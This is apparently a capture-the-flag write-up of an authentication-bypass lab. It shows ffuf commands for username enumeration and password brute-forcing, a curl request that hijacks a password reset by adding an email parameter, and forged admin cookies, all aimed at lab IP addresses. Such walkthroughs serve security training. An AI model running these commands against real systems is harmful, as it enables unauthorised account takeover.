# Authentication Bypass

Task 1:

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FcQVOak4hFbZN4kmyIWjc%2Fimage.png?alt=media&#x26;token=2d5ba832-92bd-4fdf-aa0d-edbcf65f73ff" alt=""><figcaption></figcaption></figure>

Task 2:&#x20;

For this task we have to look for the sign up section of the website then we are going to test some username into the username section

As we try using the username admin the system says that it is already existing in the database

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fnda9bBbWdiuZ2LtQ3Bh4%2Fimage.png?alt=media&#x26;token=f7d76142-a236-47ae-8bc3-7e3c46fb43bc" alt=""><figcaption></figcaption></figure>

Therefore we are going to use FFUF tool to bruteforce some username that is already existing in the database, so that we have a baseline what username we will be using to attack the system

We are going to use the names.txt from seclists wordlist and then use the error message to look for the possible username that is exisiting&#x20;

The error message that we are going to use is "An account with this username already exists".&#x20;

{% code overflow="wrap" %}

```
ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.18.15/customers/signup -mr "An account with this username already exists"
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FxFq4MUlLUbIgJ6KWo7fX%2Fimage.png?alt=media&#x26;token=a6e3f519-9de3-499f-975c-f042f8c3a9fe" alt=""><figcaption></figcaption></figure>

As we see above these 3 username are already exisiting in the database. The usernames are robert, simon, and steve.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FvSqNHO08rwDfxCQT01yz%2Fimage.png?alt=media&#x26;token=6622de15-bf6f-492c-9ac9-173c8f621e7a" alt=""><figcaption></figcaption></figure>

Task 3:&#x20;

Then we are going to save those 3 usernames to a text file, so that we can use them as a file to bruteforce the password for those usernames

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZdaK0cZ5zAmtHNvKlXIc%2Fimage.png?alt=media&#x26;token=f6e13bbb-d99c-43e9-957c-20df2316a693" alt=""><figcaption></figcaption></figure>

Here we are going to use that text file containing the three username which the file name is "valid\_usernames.txt". Then for the password list that we selected the 10-million-password-list-top-100 in the seclists directory

We are going to pass the parameters into the website which is the username variable and password variable.&#x20;

You can find the variable names in the source code

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F0MMsgGgUx79g14hXFjln%2Fimage.png?alt=media&#x26;token=a1498a46-2222-4a16-b690-cdac8405755e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.18.15/customers/login -fc 200
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FwqZyEjjK9bEIclx5EP2N%2Fimage.png?alt=media&#x26;token=f7429ae6-1a34-48b1-b587-46c3ae3a8545" alt=""><figcaption></figcaption></figure>

Then after you run the tool you can see here the result that the username steve have a password thunder

If you login using the credentials you can see nothing in this account

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fobm7OlZXjfgZPq8fDtXM%2Fimage.png?alt=media&#x26;token=d5d66d96-281a-4856-a4e0-4867211ef92c" alt=""><figcaption></figcaption></figure>

Task 4:

Therefore, we are going to create our own account so that we can see use it later. The format of email address is the important thing here. {username}@customer.acmeitsupport.thm

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FlyRCSiI39Afv7QhaYdJg%2Fimage.png?alt=media&#x26;token=806728a4-a2e6-40b8-a6f1-3b9146c4eaf9" alt=""><figcaption></figcaption></figure>

Here we are requesting a reset password but if we input a invalid email address it will return this error

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FQtf4fZkGEIWQI4yvjP3q%2Fimage.png?alt=media&#x26;token=9553a869-8fd8-4e28-a22e-d7baa65f4c48" alt=""><figcaption></figcaption></figure>

But since we know that there is a username robert we can try to use it and request for reset password for that user. The email address is actually given in the room but we can still think or assume that the email address are related to the name of company.

For that reason we conclude upon using <mark style="color:blue;">{usernme}@customer.acmeitsupport.thm</mark>&#x20;

Like <robert@acmeitsupport.thm> and robert for the username parameter but as we curl the request.

We are going to input another parameter which is email, that will change the supposedly receiving email to our modified email&#x20;

So instead of robert that will receive reset password request, we are going to get that request in our own ticket system which is kyou

{% code overflow="wrap" %}

```
curl 'http://10.10.103.145/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=kyou@customer.acmeitsupport.thm'
```

{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FNAbtCmZWbFfjWhTyNpHb%2Fimage.png?alt=media&#x26;token=3a966251-ad18-4249-b04a-aa41d349a881" alt=""><figcaption></figcaption></figure>

We logged in as kyou&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FksDQNaVcSfmZcVehkgSJ%2Fimage.png?alt=media&#x26;token=50df09be-de2d-49b4-ac85-918fb92623e3" alt=""><figcaption></figcaption></figure>

Then you can see here in the kyou user we have the password reset request that will open the user robert without password needed

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fzm2P596n5kHm6O0NvIfz%2Fimage.png?alt=media&#x26;token=5fbe9346-6cfd-476b-8fad-2ca8aa07fc80" alt=""><figcaption></figcaption></figure>

After you go to that URL here we are as user robert then when you go to the support tickets #1 you will see the flag.

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FZLRyha2GwYyK7alWZmML%2Fimage.png?alt=media&#x26;token=0c07672f-d933-4fec-aca7-5be76f4f15e6" alt=""><figcaption></figcaption></figure>

Task 5:&#x20;

```
curl http://10.10.69.244/cookie-test

curl -H "Cookie: logged_in=true; admin=true" http://10.10.69.244/cookie-test
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FF2Admy3lLv8DHYON7OvE%2Fimage.png?alt=media&#x26;token=d4ed0c6a-1179-4d5a-942f-4e1d0f7f912c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fs67c1KZwpyoSgUHCpQdX%2Fimage.png?alt=media&#x26;token=2aaec082-aef5-449f-9d4f-704339ec81fd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FdPp8DpE1DVuBk1l2oRns%2Fimage.png?alt=media&#x26;token=957d55de-cb4d-4790-96d2-a2b438af5b13" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHDWFLqRadCQyiKDDL5uw%2Fimage.png?alt=media&#x26;token=2039a322-306f-43d7-9d50-03f91aceb8a4" alt=""><figcaption></figcaption></figure>
